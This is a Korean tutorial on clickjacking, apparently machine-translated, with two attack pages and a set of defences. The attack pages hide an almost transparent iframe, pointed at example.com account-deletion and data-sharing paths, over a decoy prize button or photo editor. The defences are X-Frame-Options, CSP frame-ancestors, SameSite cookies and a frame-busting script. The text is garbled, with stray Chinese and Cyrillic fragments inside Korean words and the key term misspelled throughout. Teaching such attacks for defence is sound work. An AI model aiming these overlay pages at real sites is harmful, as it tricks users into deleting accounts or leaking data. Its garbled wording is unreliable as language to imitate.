자바스크립트 - 클릭잭링 공격

안녕하세요, 야심 찬 프로그래머 여러분! 오늘 우리는 웹 보안의 흥미로운 세계로 접어들어, 특히 약간의 기巧를 가진 클릭잭링(Clickjacking) 공격에 대해 집중적으로 다룰 것입니다. 프로그래밍에 새로운 사람이라고 걱정하지 마세요 - 저는 여러분을 단계별로 안내하겠습니다. 그동안 수많은 학생들에게 가르쳐온 경험을 바탕으로 말입니다. 그럼 시작해보겠습니다!

JavaScript - Clickjacking Attack

클릭잭링 공격

귀여운 고양이 동영상을 클릭하려고 할 때, 실수로 100마리의 고무 уточ을 주문하는 일이 있다고 상상해보세요. 이것이 바로 클릭잭링 공격이 하는 일입니다 - 당신이 의도하지 않은 것을 클릭하게 유혹합니다.

클릭잭링은 UI 레이스팅(UI redressing)으로도 알려져 있으며, 공격자들이 사용자를 기만하여 그들이 인식한 것과 다른 것을 클릭하게 만드는 악의적인 기술입니다. 이는 비意愿적인 행동, 데이터 도용, 심지어는 맬웨어 설치로 이어질 수 있습니다.

클릭잭링은 어떻게 작동하나요?

이 지나치게 똑똑한 공격이 실제로 어떻게 작동하는지 분해해보겠습니다:

공격자는看似 무해한 웹페이지를 만듭니다.
그들은 숨겨진 iframe에 타겟 웹사이트(당신이 상호작용하도록 원하는 사이트)를 내장합니다.
공격자의 페이지는 타겟 사이트의 버튼이나 링크를 완벽하게 덮이도록 디자인됩니다.
당신이 공격자의 페이지를 클릭하는 것으로 생각할 때, 실제로는 숨겨진 타겟 사이트와 상호작용하고 있습니다.

이는 마술사의 손끝 기술처럼, 하지만 웹 페이지로 이루어진 것입니다!

예제

이 개념을 더 잘 이해하기 위해 코드 예제를 살펴보겠습니다. 아직 이해가 되지 않아도 걱정하지 마세요 - 우리는 이를 조금 더 쉽게 풀어보겠습니다!

예제 1: 기본 클릭잭링

<html>
<head>
<title>상을 받아보세요!</title>
<style>
#target_website {
position:relative;
width:128px;
height:128px;
opacity:0.00001;
z-index:2;
}
#decoy_website {
position:absolute;
width:300px;
height:400px;
z-index:1;
}
</style>
</head>
<body>
<div id="decoy_website">
<h1>상을 받아보세요!</h1>
<button>상 요청</button>
</div>
<iframe id="target_website" src="https://example.com/delete-account"></iframe>
</body>
</html>

이 예제에서:

우리는 상을 받을 수 있다는 가짜 웹사이트를 만듭니다.
타겟 웹사이트 (example.com/delete-account)를 숨겨진 iframe에 내장합니다.
iframe은 "상 요청" 버튼 위에 배치됩니다.
사용자가 버튼을 클릭할 때, 실제로는 타겟 사이트의 계정 삭제 버튼을 클릭하고 있습니다!

예제 2: 드래그 앤 드롭을 이용한 클릭잭링

<html>
<head>
<title>ФО토 편집기</title>
<style>
#target_website {
position:absolute;
width:300px;
height:400px;
opacity:0.00001;
z-index:2;
}
#decoy_website {
width:300px;
height:400px;
z-index:1;
}
</style>
</head>
<body>
<div id="decoy_website">
<h1>이미지를 끌어다가 편집하세요</h1>
<img src="cute_cat.jpg" draggable="true" ondragstart="drag(event)">
</div>
<iframe id="target_website" src="https://example.com/share-private-data"></iframe>
<script>
function drag(ev) {
ev.dataTransfer.setData("text", ev.target.id);
}
</script>
</body>
</html>

이 더 복잡한 예제에서:

우리는 가짜 사진 편집기 인터페이스를 만듭니다.
타겟 웹사이트(비밀 데이터를 공유할 수 있는 사이트)가 숨겨진 iframe에 내장됩니다.
사용자가 이미지를 끌어다 놓으려고 할 때, 그들은 모르는 사이에 타겟 사이트와 상호작용하여 비밀 정보를 공유할 수 있습니다.

실제 세계의 클릭잭링 사건

클릭잭링은 이론적인 위협만이 아닙니다. 실제 공격에 사용되었습니다:

2008년, Facebook을 통해 퍼진 클릭잭링 웜은 사용자들이 몰래 "좋아요" 버튼을 클릭하게 만들었습니다.
2012년, 연구자는 Google의 안드로이드 앱 마켓에서 사용자들이 몰래 앱을 구매하게 만드는 클릭잭링 공격을 시연했습니다.
2017년, Microsoft Outlook 웹 앱에서 클릭잭링 취약점이 발견되었으며, 공격자들이 피해자의 이메일을 읽을 수 있을 수 있습니다.

이 사건들은 클릭잭링 공격을 이해하고 예방하는 것이 왜 중요한지 보여줍니다.

예방 조치

이제 위험을 알고 있는 만큼, 클릭잭링 공격을 방어하는 방법을 살펴보겠습니다:

방법	설명	예제
X-Frame-Options	페이지가 iframe에서 표시되는 것을 방지하는 HTTP 헤더	`X-Frame-Options: DENY`
콘텐츠 보안 정책	어떤 출처가 귀하의 콘텐츠를 내장할 수 있는지 더 세밀하게 제어할 수 있습니다	`Content-Security-Policy: frame-ancestors 'self'`
프레임 탈출 스크립트	iframe에서 벗어나는 자바스크립트	`if (top != self) top.location = self.location;`
SameSite 쿠키	크로스사이트 요청에서 쿠키를 보내지 않도록 방지합니다	`Set-Cookie: session=123; SameSite=Strict`

프레임 탈출 스크립트의 간단한 예제를 보겠습니다:

<html>
<head>
<style>html{display:none;}</style>
<script>
if (self == top) {
document.documentElement.style.display = 'block';
} else {
top.location = self.location;
}
</script>
</head>
<body>
<h1>보호된 콘텐츠</h1>
<p>이 페이지는 클릭잭링으로부터 보호됩니다!</p>
</body>
</html>

이 스크립트는 다음과 같은 작업을 수행합니다:

최초에는 전체 페이지를 숨깁니다.
페이지가 최상위 창인지 확인합니다.
최상위 창이라면 콘텐츠를 표시합니다.
그렇지 않으면 (iframe 내에 있다면) iframe에서 벗어납니다.

웹 보안은 고양이와老鼠의 게임과 같습니다. 새로운 공격 방법이 등장할 때마다 우리는 방어를 갱신해야 합니다. 호기심을 유지하고, 계속 배우며, 웹 개발에서 보안을 항상 우선시하세요!

이 튜토리얼이 클릭잭링 공격을 이해하는 데 도움이 되길 바랍니다. 위력 있는 코딩 능력과 함께 큰 책임이 따릅니다. 당신의 기술을 지혜롭게 사용하고, 행복하게 코딩하세요!

Credits: Image by storyset

이전 튜토리얼:

JavaScript - IndexedDB

다음 튜토리얼:

JavaScript - 커링